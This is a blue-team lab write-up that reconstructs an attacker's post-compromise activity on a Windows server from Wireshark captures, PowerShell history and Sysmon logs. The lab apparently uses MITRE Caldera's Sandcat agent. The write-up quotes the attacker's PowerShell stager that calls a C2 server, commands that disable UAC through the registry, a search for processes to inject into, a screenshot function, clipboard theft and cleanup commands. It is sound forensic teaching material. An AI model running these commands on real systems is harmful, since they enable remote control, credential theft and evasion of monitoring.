toolate

Scenario

A company server was compromised by an adversary and taken offline as soon as suspicious activity was identified. As a defender, you are required to perform analysis on the post-compromise actions taken on the server. Administrator access is provided to investigate the system thoroughly.

Methodology

Initial Triage — Wireshark

Opening the packet capture, initial filtering reveals nothing immediately suspicious. The investigation pivots to the endpoint.

PowerShell History

PSReadLine history is one of the first places to check on a Windows endpoint for attacker activity. Located at:

C:\Users\BTLOTest\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

The history reveals the initial stager — a PowerShell command downloading a Go-based agent:

if ($host.Version.Major -ge 3){$ErrAction= "ignore"}else{$ErrAction= "SilentlyContinue"};
$server="http://3.108.217.40:8888";
$socket="3.108.217.40:7010";
$contact="tcp";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","manx.go");
$data=$wc.DownloadData($url);
...
Get-Process | ? {$_.Path

Key observations:

• C2 server: hxxp[://]3[.]108[.]217[.]40:8888 (HTTP beacon)
• C2 socket: 3[.]108[.]217[.]40:7010 (TCP reverse shell)
• Agent requested: manx.go — later identified as sandcat.go (MITRE Caldera Sandcat agent)
• Process enumeration filtered by Path — injectable process recon

Following the C2 Shell — Wireshark

Filtering on tcp.dstport == 7010 and following the TCP stream exposes the full attacker shell session. All commands are issued as powershell -Enc (Base64 + UTF-16LE encoded) to evade logging.

Decoding methodology in CyberChef:

1. From Base64
2. Decode text → UTF-16LE

Decoded C2 Commands

The attacker also ran arp -a and nbtstat -A 172.31.13.162 for internal network reconnaissance.

Identifying Persistence — Sysmon Event ID 1

Searching Sysmon process creation events (Event ID 1) for child processes reveals the C2 agent dropped to disk masquerading as a legitimate service:

ParentImage:       C:\Users\Public\splunkd.exe
ParentCommandLine: "C:\Users\Public\splunkd.exe" -socket 3.108.217.40:7010 
                   -http http://3.108.217.40:8888 -contact tcp
ParentProcessId:   7976

splunkd.exe in C:\Users\Public\ is a masquerading technique (T1036.005) — legitimate Splunk binaries never reside in user-accessible public directories. This is the Caldera Sandcat agent renamed to blend into process listings.

Attacker Activity Timeline (from Sysmon + Wireshark)

09:02 — Caesar cipher obfuscation (PID 5904)

Sysmon Event ID 1 reveals a PowerShell process spawned by splunkd (PID 7976) using a Caesar cipher shift of -18 to obfuscate commands:

powershell.exe -ExecutionPolicy Bypass -C "$encrypted = \"wuz $(yw-su)\"; 
$cmd = \"\"; $encrypted = $encrypted.toCharArray(); 
foreach ($letter in $encrypted) {$letter = [char](([int][char]$letter) - 18); 
$cmd += $letter;} write-output $cmd;"

Decoding wuz $(yw-su) with shift 18 resolves the obfuscated command content.

09:11 — Injectable process enumeration (PID 1476)

powershell.exe -ExecutionPolicy Bypass -C Get-Process — raw process listing for initial recon.

09:12 — Targeted injectable process search (PID 4216)

The most targeted injection recon event, using WMI to find svchost processes owned by the current user:

powershell.exe -ExecutionPolicy Bypass -C "$owners = @{};
gwmi win32_process |%% {$owners[$_.handle] = $_.getowner().user};
$ps = get-process | select processname,id,@{l=\"Owner\";e={$owners[$_.id.tostring()]}};
$valid = foreach($p in $ps) { if($p.Owner -eq $env:USERNAME -And $p.ProcessName -eq \"svchost\") {$p} };
$valid | ConvertTo-Json"

This targets user-owned svchost processes — the classic Metasploit/Caldera migration target for process injection.

09:12 — Obfuscated payload scan (PID 1404)

.\obfuscated_payload.ps1 -Scan — the -Scan flag triggers injectable process identification within the obfuscated payload framework.

09:14 — UAC disabled via registry (PID 6848)

wifi.ps1 -Pref decodes to a PowerShell command disabling UAC entirely:

New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system 
-Name EnableLUA -PropertyType DWord -Value 0 -Force

Setting EnableLUA = 0 disables User Account Control system-wide (T1548.002). The Caldera group tag bypassed_u_bro visible in the sandcat dropper confirms the attacker acknowledged the bypass succeeded.

09:15 — PowerShell Core installed (then cleaned up)

$wc=New-Object System.Net.WebClient;
$output="PowerShellCore.msi";
$wc.DownloadFile("https://github.com/PowerShell/PowerShell/releases/download/v6.2.2/PowerShell-6.2.2-win-x64.msi", $output);
Start-Process msiexec.exe -ArgumentList "/package PowerShellCore.msi /quiet ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=1"

PowerShell 6.2.2 (PowerShell Core) was installed silently. PS Core uses a separate logging pipeline from Windows PowerShell, helping evade ScriptBlock logging on the legacy engine.

09:15 — Screenshot captured

Decoded obfuscated payload reveals a screen capture function saving to the Desktop:

$loadResult = [Reflection.Assembly]::LoadWithPartialName("System.Drawing");
function screenshot([Drawing.Rectangle]$bounds, $path) {
  $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height;
  $graphics = [Drawing.Graphics]::FromImage($bmp);
  $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size);
  $bmp.Save($path);
  $graphics.Dispose(); $bmp.Dispose();
}
$bounds = [Drawing.Rectangle]::FromLTRB(0, 0, 1000, 900);
$dest = "$HOME\Desktop\screenshot.png";
screenshot $bounds $dest;

Wireshark confirms execution: {"response":"C:\\Users\\BTLOTest\\Desktop\\screenshot.png","status":0} 09:15 — Clipboard exfiltrated

Immediately after the screenshot, Get-Clipboard -raw was executed. The C2 response reveals the clipboard contents:

{"response":"R3vengers@013_globalP@ss!\r\n","status":0}

A plaintext credential was sitting in the user’s clipboard — exfiltrated directly over the C2 channel.

09:15 — Staged exfiltration

The attacker searched for PNG files, copied two font PNGs from CyberChef as cover files, staged them with the screenshot, and compressed everything:

C:\Users\BTLOTest\staged\RobotoMono72White.png
C:\Users\BTLOTest\staged\RobotoBlack72White.png  
→ Compressed to: C:\Users\BTLOTest\staged.zip

09:16 — Cleanup

All artifacts removed to hinder forensic analysis:

• Remove-Item -Force -Path "Akagi64.exe"
• Remove-Item -Force -Path "Bypass-UAC.ps1"
• Remove-Item -Force -Path "obfuscated_payload.ps1"
• Remove-Item -Force -Path "wifi.ps1"
• rm PowerShellCore.msi
• rm C:\Users\BTLOTest\staged.zip
• Remove-Item -Path "staged" -recurse
• Clear-History; Clear

Notable: the attacker saw Sysmon64 and Wireshark in the Get-Process output, confirming they knew monitoring was active.

IOCs

MITRE ATT&CK